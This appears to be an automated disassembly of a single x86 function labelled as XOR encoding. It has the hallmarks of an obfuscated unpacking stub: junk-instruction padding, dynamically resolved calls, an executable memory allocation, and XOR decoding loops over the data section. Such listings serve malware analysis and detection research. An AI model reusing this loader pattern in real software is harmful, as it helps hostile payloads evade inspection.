Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x968d9c9c
add esi, edi
add edi, esi
popal
inc esi
sub edi, 1
and esi, edi
mov eax, 0
mov esi, edi
and edx, ecx
inc ecx
add edx, edx
mov ebx, esi
mov ecx, edx
not edx
mov edi, ebx
or ecx, ecx
mov ecx, 0xb2e193cb
inc eax
add edx, ecx
or edx, ecx
not ecx
cmp eax, 0x10076c4
jne 0xa789c5
mov ecx, edx
add edx, ecx
and edx, edx
not esi
mov edi, 0xe53902b8
mov edx, 0xa78796
mov eax, 0x15738396
not eax
mov ecx, 0xa7898a
mov edi, eax
mov edi, 0x453f0915
not edi
mov ebx, dword [edx]
sub eax, 0xe628a181
mov edi, 0xed1aeb18
mov edi, esi
and ebx, 0xff
inc edi
add esi, 1
xor dword [ecx], ebx
dec eax
sub eax, 0x680f8f0c
and eax, eax
inc ecx
add esi, 0x41c07456
add edi, 0xd0a58564
dec esi
inc edx
or edi, eax
and eax, edi
sub edi, esi
cmp ecx, entry0
jl 0xa78a15
sub eax, 0xf2b93ab6
add esi, esi
add eax, 0xf50b869d
or edi, esi
dec esi
mov edi, ecx
sub edi, 0x6027eb42
mov edx, 0xa7898e
or edi, esi
add edi, 0xed3b4c38
mov esi, 0x955a4539
mov edx, dword [edx]
sub esi, ecx
dec edi
sub esi, 0xa834ac6c
mov edx, dword [edx]
sub edi, esi
sub ecx, edi
not ecx
push edx
or esi, edi
mov ecx, edi
mov edi, 0x33e43478
mov edx, 0xa7898a
add edi, 0xb9c42530
sub esi, 0x13fcc56f
mov edx, dword [edx]
add esi, 1
and esi, ecx
sub esi, edi
mov edx, dword [edx]
dec edi
add ebx, 0x5c8afd10
or esi, ebx
push 0xa78992
add ebx, 0x7b904e54
and ecx, ecx
mov ebx, 0xec38e331
call edx
and ebx, ecx
add ecx, 0xc19b4f09
mov edx, dword [esp]
add esp, 4
sub esi, 0x5a2f3796
sub esi, 0x9873a7d6
mov ecx, ebx
push 0xa7899f
or esi, edi
inc esi
add esi, ecx
push eax
or esi, esi
add edi, 0x82d51449
add ecx, 0xf65573c2
call edx
sub edi, 1
sub ebx, esi
push 0x40
sub edi, 0x572faa88
add esi, edi
push 0x3000
not esi
add ecx, 0x33e8d55f
add ebx, ebx
push 0x20000047
mov ecx, 0x85c66c7d
or ecx, ecx
push 0
sub ebx, 0x17000770
mov edi, 0xef539bd2
add ebx, ebx
call eax
add ecx, 0x319006b7
add esi, 0x9037ef7
add esi, 0x1cdf2a00
add eax, 0x1fffff89
add ecx, 1
mov edi, ecx
mov edx, 0xd068c991
not ebx
or edi, ecx
mov dword [eax], edx
mov esi, 0xec061f71
add esi, 0x97dd0797
mov edx, dword [eax]
or ebx, ecx
sub ecx, 0x3a9844a0
inc esi
cmp edx, 0xd068c991
je 0xa78bac
mov ebx, 0
mov ecx, dword [ebx]
sub ecx, 0x2c310505
and edi, esi
and esi, ebx
inc ecx
add esi, edi
and edi, esi
and esi, edi
mov eax, section..data
mov esi, edi
sub edi, 1
mov edx, 0xa78795
sub esi, 0x6e3c007f
dec esi
mov esi, 0xb391bfc9
mov ebx, 0
not esi
sub edi, esi
mov ecx, 0xa78796
not edi
add esi, 0xc61ba3ff
lea ecx, [ecx + ebx]
and esi, edi
sub edi, 0xd0b1571e
mov edi, esi
mov ecx, dword [ecx]
and esi, esi
mov esi, edi
mov esi, 0x81bd8d1c
and ecx, 0xff
mov edi, esi
add esi, 1
inc ebx
add esi, 0x8727646f
dec edi
cmp ebx, 0x1f4
jne 0xa78c2c
mov ebx, 0
and esi, edi
sub esi, edi
mov edi, 0xe56981fd
add esi, 1
add esi, esi
not edi
xor dword [eax], ecx
or edi, esi
mov esi, edi
inc esi
add eax, 2
sub esi, 0x1bd51e29
sub esi, edi
cmp eax, edx
jl 0xa78be4
not edi
mov esi, edi
add edi, 1
or esi, edi
mov edi, 0x3ca3b266
inc esi
mov edi, section..data
inc ebx
mov eax, 0xe3b35473
inc ebx
mov ecx, section..data
add ebx, eax
mov ebx, eax
mov esi, 0xa78795
add eax, ebx
add eax, 0xb1469a92
not ebx
mov edx, 0
add ebx, 0x6c0d0b07
dec ebx
mov eax, ebx
mov dl, byte [ecx]
add eax, ebx
mov ebx, 0xfa23ab74
mov byte [edi], dl
not eax
sub eax, 0x17ba24a6
inc edi
mov ebx, eax
add ebx, 0x41025ffa
add ecx, 2
sub eax, 0xd9f2116c
add eax, 0x559a3d36
cmp ecx, esi
jle 0xa78ca0
or ebx, ebx
sub eax, ebx
add edi, edi
or edi, edi
add esi, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edi, 0xe638d3e8
mov edi, esi
add esi, esi
ret